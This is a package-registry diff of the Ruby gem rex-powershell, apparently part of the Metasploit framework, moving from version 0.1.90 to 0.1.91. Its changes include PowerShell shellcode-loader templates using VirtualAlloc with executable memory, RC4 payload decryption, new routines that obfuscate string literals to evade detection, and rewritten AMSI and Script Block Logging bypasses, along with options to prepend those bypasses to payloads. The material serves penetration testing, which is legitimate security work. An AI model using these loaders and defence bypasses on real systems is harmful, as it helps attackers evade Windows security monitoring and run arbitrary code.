rex-powershell 0.1.90 → 0.1.91

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 0a33516521ac7e860fca2bc66ae38f9859cac0588b657c8ffbe2e5ce8120adde
4
- data.tar.gz: 222e5ad9199ac80d8c8ec1b88d9504550f89b8811bc36dfc5df9bd34f3c7f329
3
+ metadata.gz: 03fb4a7843aafdad4a8a05217105768f959653f7b15c00273398afea46497385
4
+ data.tar.gz: 49fe72538e0fa7acc8a9f418cac9905d65e4fbf61e5b2b36cca4df6fbb20eee5
5
5
  SHA512:
6
- metadata.gz: 2d048a4d9875adff24b0a7168813918bfa36914130fb41df3666242f2553571b9afe0befac3daa3117f557f0881289e0ec21ceefe2b11922315747a73b6613ff
7
- data.tar.gz: df1b2109a3ffb337e5691f1a517ee08a99cb335c7b916c820a62e8caef91437a4c6815ad02bb7910daebb05a010acd51c79cc7ce101c7ab617577b9d4d1165ac
6
+ metadata.gz: 846f848e693acefa04b7850a983bfd52bccddc422d9454787fc241fc41323f55747f51d7707632fdca78376219ba7adee55c885b87b5d466376c95e1d5cf9993
7
+ data.tar.gz: e164850d612b3b32d98c5b620ef842f5ede29a86d5d5db0e0a8aa339aa471e01715a670be1ee75fa0223a823772df59ff16a05374ab06c0bfecb90f3d511a312
checksums.yaml.gz.sig CHANGED
Binary file
data.tar.gz.sig CHANGED
Binary file
@@ -1,7 +1,7 @@
1
1
  function %{func_get_proc_address} {
2
- Param ($%{var_module}, $%{var_procedure})
2
+ Param ($%{var_module}, $%{var_procedure})
3
3
  $%{var_unsafe_native_methods} = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
4
-
4
+
5
5
  return $%{var_unsafe_native_methods}.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($%{var_unsafe_native_methods}.GetMethod('GetModuleHandle')).Invoke($null, @($%{var_module})))), $%{var_procedure}))
6
6
  }
7
7
 
@@ -10,16 +10,16 @@ function %{func_get_delegate_type} {
10
10
  [Parameter(Position = 0, Mandatory = $True)] [Type[]] $%{var_parameters},
11
11
  [Parameter(Position = 1)] [Type] $%{var_return_type} = [Void]
12
12
  )
13
-
13
+
14
14
  $%{var_type_builder} = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
15
15
  $%{var_type_builder}.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $%{var_parameters}).SetImplementationFlags('Runtime, Managed')
16
16
  $%{var_type_builder}.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $%{var_return_type}, $%{var_parameters}).SetImplementationFlags('Runtime, Managed')
17
-
17
+
18
18
  return $%{var_type_builder}.CreateType()
19
19
  }
20
20
 
21
21
  [Byte[]]$%{var_code} = [System.Convert]::FromBase64String("%{b64shellcode}")
22
-
22
+
23
23
  $%{var_buffer} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll VirtualAlloc), (%{func_get_delegate_type} @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $%{var_code}.Length,0x3000, 0x40)
24
24
  [System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_buffer}, $%{var_code}.length)
25
25
 
@@ -1,7 +1,7 @@
1
1
  function %{func_rc4_decrypt} {
2
2
  param([Byte[]]$%{var_rc4buffer})
3
3
 
4
- $%{var_key} = ([system.Text.Encoding]::UTF8).GetBytes("%{random_key}")
4
+ $%{var_key} = ([system.Text.Encoding]::UTF8).GetBytes("%{random_key}")
5
5
 
6
6
  $s = New-Object Byte[] 256;
7
7
  $k = New-Object Byte[] 256;
@@ -268,6 +268,12 @@ EOS
268
268
  # @param opts [Hash] The options to generate the command
269
269
  # @option opts [Boolean] :persist Loop the payload to cause
270
270
  # re-execution if the shellcode finishes
271
+ # @option opts [String] :prepend A stub of Powershell code to prepend to the
272
+ # payload.
273
+ # @option opts [String] :prepend_inner A stub of Powershell code to prepend to
274
+ # the inner payload.
275
+ # @option opts [Boolean] :prepend_protections_bypass Prepend a stub that
276
+ # bypasses Powershell protections.
271
277
  # @option opts [Integer] :prepend_sleep Sleep for the specified time
272
278
  # before executing the payload
273
279
  # @option opts [String] :method The powershell injection technique to
@@ -306,9 +312,15 @@ EOS
306
312
  else
307
313
  fail RuntimeError, 'No Powershell method specified'
308
314
  end
315
+
309
316
  if opts[:exec_rc4]
310
317
  psh_payload = Rex::Powershell::Payload.to_win32pe_psh_rc4(template_path, psh_payload)
311
318
  end
319
+
320
+ if opts[:prepend_inner]
321
+ psh_payload = opts[:prepend_inner] << (opts[:prepend_inner].end_with?(';') ? '' : ';') << psh_payload
322
+ end
323
+
312
324
  # Run our payload in a while loop
313
325
  if opts[:persist]
314
326
  fun_name = Rex::Text.rand_text_alpha(rand(2) + 2)
@@ -324,12 +336,6 @@ EOS
324
336
  end
325
337
 
326
338
  compressed_payload = compress_script(psh_payload, nil, opts)
327
-
328
- if opts[:prepend_protections_bypass]
329
- bypass_amsi = Rex::Powershell::PshMethods.bypass_powershell_protections
330
- compressed_payload = bypass_amsi + ";" + compressed_payload
331
- end
332
-
333
339
  encoded_payload = encode_script(psh_payload, opts)
334
340
 
335
341
  # This branch is probably never taken...
@@ -352,6 +358,15 @@ EOS
352
358
  end
353
359
  end
354
360
 
361
+ if opts[:prepend_protections_bypass]
362
+ bypass_amsi = Rex::Powershell::PshMethods.bypass_powershell_protections
363
+ smallest_payload = bypass_amsi + ";" + smallest_payload
364
+ end
365
+
366
+ if opts[:prepend]
367
+ smallest_payload = opts[:prepend] << (opts[:prepend].end_with?(';') ? '' : ';') << smallest_payload
368
+ end
369
+
355
370
  if opts[:exec_in_place]
356
371
  final_payload = smallest_payload
357
372
  else
@@ -362,8 +377,8 @@ EOS
362
377
  end
363
378
 
364
379
  command_args = {
365
- noprofile: true,
366
- windowstyle: 'hidden'
380
+ noprofile: true,
381
+ windowstyle: 'hidden'
367
382
  }.merge(opts)
368
383
 
369
384
  if opts[:encode_final_payload]
@@ -12,6 +12,92 @@ module Powershell
12
12
  WHITESPACE_REGEX = Regexp.new(/\s+/)
13
13
  EMPTY_LINE_REGEX = Regexp.new(/^$|^\s+$/)
14
14
 
15
+ #
16
+ # Obfuscate a Powershell literal string value. The character set of the string is limited to alpha-numeric
17
+ # characters and some punctuation. This routine will use a combination of of techniques including formatting and
18
+ # concatenation. The result is an expression that can either be passed to a function or assigned to a variable.
19
+ #
20
+ # @param [String] string The string value to obfuscate.
21
+ # @param [Float] threshold A floating point value between 0 and 1 that controls how much of the string is
22
+ # obfuscated. Higher values result in more obfuscation while 0 returns the original string without any
23
+ # obfuscation.
24
+ # @return [String] An obfuscated Powershell expression that evaluates to the specified string.
25
+ def self.scate_string_literal(string, threshold: 0.15)
26
+ # this hasn't been thoroughly tested for strings that contain alot of punctuation, just simple ones like
27
+ # 'AmsiUtils', the most important characters that are assumed to be missing are quotes and braces
28
+ raise ArgumentError.new('string contains an unsupported character') if string =~ /[^a-zA-Z0-9,+=\.\/]/
29
+ raise ArgumentError.new('threshold must be between 0 and 1') unless threshold.between?(0, 1)
30
+
31
+ new = original = string
32
+ occurrences = {}
33
+ original.each_char { |char|
34
+ occurrences[char] = 0 unless occurrences.key?(char)
35
+ occurrences[char] += 1
36
+ }
37
+ char_map = occurrences.group_by { |k,v| v }.sort_by { |k,v| -k }.map { |k,v| v.shuffle }.flatten(1)
38
+
39
+ # phase 1
40
+ format = []
41
+ char_subs = 0.0
42
+ while (char_subs / original.length.to_f) < threshold
43
+ orig_char, occurrence_count = char_map.pop
44
+ new = new.gsub(/(?<!\{)#{Regexp.escape(orig_char)}(?!\})/, "{#{format.length}}")
45
+ format << "'#{orig_char}'"
46
+ char_subs += occurrence_count
47
+ end
48
+
49
+ # phase 2
50
+ concat = "'+'"
51
+ positions = threshold > 0 ? (0..new.length).to_a.shuffle[0..(new.length * threshold)] : []
52
+ positions.sort!
53
+ positions.each_with_index do |position, index|
54
+ new = new.insert(position + (index * concat.length), concat)
55
+ end
56
+
57
+ new = "'#{new}'"
58
+ new = "(#{new})" unless threshold == 0
59
+
60
+ final = new
61
+ final << "-f#{format.join(',')}" unless format.empty?
62
+ final = "(#{final})" unless format.empty? && threshold == 0
63
+ final
64
+ end
65
+
66
+ #
67
+ # Deobfuscate a Powershell literal string value that was previously obfuscated by #scate_string_literal.
68
+ #
69
+ # @param [String] string The obfuscated Powershell expression to deobfuscate.
70
+ # @raises [RuntimeError] If the string can not be deobfuscated, for example because it was randomized using a
71
+ # different routine, then an exception is raised.
72
+ # @return [String] The string literal value.
73
+ def self.descate_string_literal(string)
74
+ string = string.strip
75
+ nest_level = [string.match(/^(\(*)/)[0].length, string.match(/(\)*)$/)[0].length].min
76
+ string = string[nest_level...-nest_level].strip if nest_level > 0
77
+ format_args = nil
78
+ if (string =~ /\((?>[^)(]+|\g<0>)*\)/) == 0
79
+ format = Regexp.last_match(0)
80
+ format_args = string[format.length..-1].strip
81
+ unless format_args =~ /-f\s*('.',\s*)*('.')/
82
+ raise RuntimeError.new('The obfuscated string structure is unsupported')
83
+ end
84
+ format_args = format_args[2..-1].strip.scan(/'(.)'/).map { |match| match[0] }
85
+ string = format[1...-1].strip
86
+ end
87
+
88
+ unless string =~ /^'.*'$/
89
+ raise RuntimeError.new('The obfuscated string structure is unsupported')
90
+ end
91
+ string = string.gsub(/'\s*\+\s*'/, '') # process all concatenation operations
92
+ unless format_args.nil? # process all format string operations
93
+ string = string.gsub(/\{\s*\d+\s*\}/) do |index|
94
+ format_args[index[1...-1].to_i]
95
+ end
96
+ end
97
+
98
+ string[1...-1]
99
+ end
100
+
15
101
  #
16
102
  # Remove comments
17
103
  #
@@ -45,6 +131,7 @@ module Powershell
45
131
  # @return [String] code with whitespace stripped
46
132
  def strip_whitespace
47
133
  code.gsub!(WHITESPACE_REGEX, ' ')
134
+ code.strip!
48
135
 
49
136
  code
50
137
  end
@@ -50,10 +50,11 @@ module Powershell
50
50
  # Base64 encode the compressed file contents
51
51
  encoded_stream = Rex::Text.encode_base64(compressed_stream)
52
52
 
53
+
53
54
  # Build the powershell expression
54
55
  # Decode base64 encoded command and create a stream object
55
56
  psh_expression = "$s=New-Object System.IO.MemoryStream(,"
56
- psh_expression << "[System.Convert]::FromBase64String('#{encoded_stream}'));"
57
+ psh_expression << "[System.Convert]::FromBase64String(#{Obfu.scate_string_literal(encoded_stream, threshold: 0.01)}));"
57
58
  # Read & delete the first two bytes due to incompatibility with MS
58
59
  psh_expression << '$s.ReadByte();'
59
60
  psh_expression << '$s.ReadByte();'
@@ -109,7 +110,7 @@ module Powershell
109
110
  # GzipStream operates on the Memory Stream
110
111
  psh_expression << '(New-Object System.IO.MemoryStream(,'
111
112
  # MemoryStream consists of base64 encoded compressed data
112
- psh_expression << "[System.Convert]::FromBase64String('#{encoded_stream}')))"
113
+ psh_expression << "[System.Convert]::FromBase64String(#{Obfu.scate_string_literal(encoded_stream, threshold: 0.01)})))"
113
114
  # Set the GzipStream to decompress its MemoryStream contents
114
115
  psh_expression << ',[System.IO.Compression.CompressionMode]::Decompress)'
115
116
  # Read the decoded, decompressed result into scriptblock contents
@@ -139,8 +140,15 @@ module Powershell
139
140
  #
140
141
  # @return [String] Decompressed powershell code
141
142
  def decompress_code
142
- # Extract substring with payload
143
- encoded_stream = @code.scan(/FromBase64String\('(.*)'/).flatten.first
143
+ # Extract substring with payload4
144
+ if @code =~ /FromBase64String\('([a-zA-z0-9\+\/=]*)'\)/
145
+ encoded_stream = Regexp.last_match(1)
146
+ elsif @code =~ /FromBase64String(\((?>[^)(]+|\g<1>)*\))/
147
+ encoded_stream = Obfu.descate_string_literal(Regexp.last_match(1))
148
+ else
149
+ raise RuntimeError, 'Failed to identify the base64 data'
150
+ end
151
+
144
152
  # Decode and decompress the string
145
153
  unencoded = Rex::Text.decode_base64(encoded_stream)
146
154
  begin
@@ -90,10 +90,13 @@ module Powershell
90
90
  #
91
91
  # @return [String] PowerShell code to bypass AMSI
92
92
  def self.bypass_amsi()
93
- %q{
94
- $Ref=[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils');
95
- $Ref.GetField('amsiIn'+'itFailed','NonPublic,Static').SetValue($null,$true);
96
- }
93
+ script = Script.new(<<-PSH
94
+ $Ref=[Ref].Assembly.GetType(#{Obfu.scate_string_literal('System.Management.Automation.AmsiUtils')});
95
+ $Ref.GetField(#{Obfu.scate_string_literal('amsiInitFailed')},'NonPublic,Static').SetValue($null,$true);
96
+ PSH
97
+ )
98
+ script.sub_vars
99
+ script
97
100
  end
98
101
 
99
102
  #
@@ -101,22 +104,28 @@ module Powershell
101
104
  #
102
105
  # @return [String] PowerShell code to bypass Script Block Logging
103
106
  def self.bypass_script_log()
104
- %q{
105
- $GPF=[ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings','N'+'onPublic,Static');
106
- If($GPF){
107
+ script = Script.new(<<-PSH
108
+ $GPF=[ref].Assembly.GetType(#{Obfu.scate_string_literal('System.Management.Automation.Utils')}).GetField(#{Obfu.scate_string_literal('cachedGroupPolicySettings')},'NonPublic,Static');
109
+ If ($GPF) {
110
+ $SBL=#{Obfu.scate_string_literal('ScriptBlockLogging')};
111
+ $EnableSBL=#{Obfu.scate_string_literal('EnableScriptBlockLogging')};
112
+ $EnableSBIL=#{Obfu.scate_string_literal('EnableScriptBlockInvocationLogging')};
107
113
  $GPC=$GPF.GetValue($null);
108
- If($GPC['ScriptB'+'lockLogging']){
109
- $GPC['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;
110
- $GPC['ScriptB'+'lockLogging']['EnableScriptB'+'lockInvocationLogging']=0
114
+ If($GPC[$SBL]){
115
+ $GPC[$SBL][$EnableSBL]=0;
116
+ $GPC[$SBL][$EnableSBIL]=0;
111
117
  }
112
118
  $val=[Collections.Generic.Dictionary[string,System.Object]]::new();
113
- $val.Add('EnableScriptB'+'lockLogging',0);
114
- $val.Add('EnableScriptB'+'lockInvocationLogging',0);
115
- $GPC['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']=$val
119
+ $val.Add($EnableSBL,0);
120
+ $val.Add($EnableSBIL,0);
121
+ $GPC['HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\'+$SBL]=$val;
116
122
  } Else {
117
- [ScriptBlock].GetField('signatures','N'+'onPublic,Static').SetValue($null,(New-Object Collections.Generic.HashSet[string]))
123
+ [ScriptBlock].GetField('signatures','NonPublic,Static').SetValue($null,(New-Object Collections.Generic.HashSet[string]));
118
124
  }
119
- }
125
+ PSH
126
+ )
127
+ script.sub_vars
128
+ script
120
129
  end
121
130
 
122
131
  #
@@ -1,5 +1,5 @@
1
1
  module Rex
2
2
  module Powershell
3
- VERSION = "0.1.90"
3
+ VERSION = "0.1.91"
4
4
  end
5
5
  end
metadata CHANGED
@@ -1,7 +1,7 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: rex-powershell
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.1.90
4
+ version: 0.1.91
5
5
  platform: ruby
6
6
  authors:
7
7
  - Metasploit Hackers
@@ -93,7 +93,7 @@ cert_chain:
93
93
  EknWpNgVhohbot1lfVAMmIhdtOVaRVcQQixWPwprDj/ydB8ryDMDosIMcw+fkoXU
94
94
  9GJsSaSRRYQ9UUkVL27b64okU8D48m8=
95
95
  -----END CERTIFICATE-----
96
- date: 2021-04-23 00:00:00.000000000 Z
96
+ date: 2021-07-09 00:00:00.000000000 Z
97
97
  dependencies:
98
98
  - !ruby/object:Gem::Dependency
99
99
  name: rake
metadata.gz.sig CHANGED
Binary file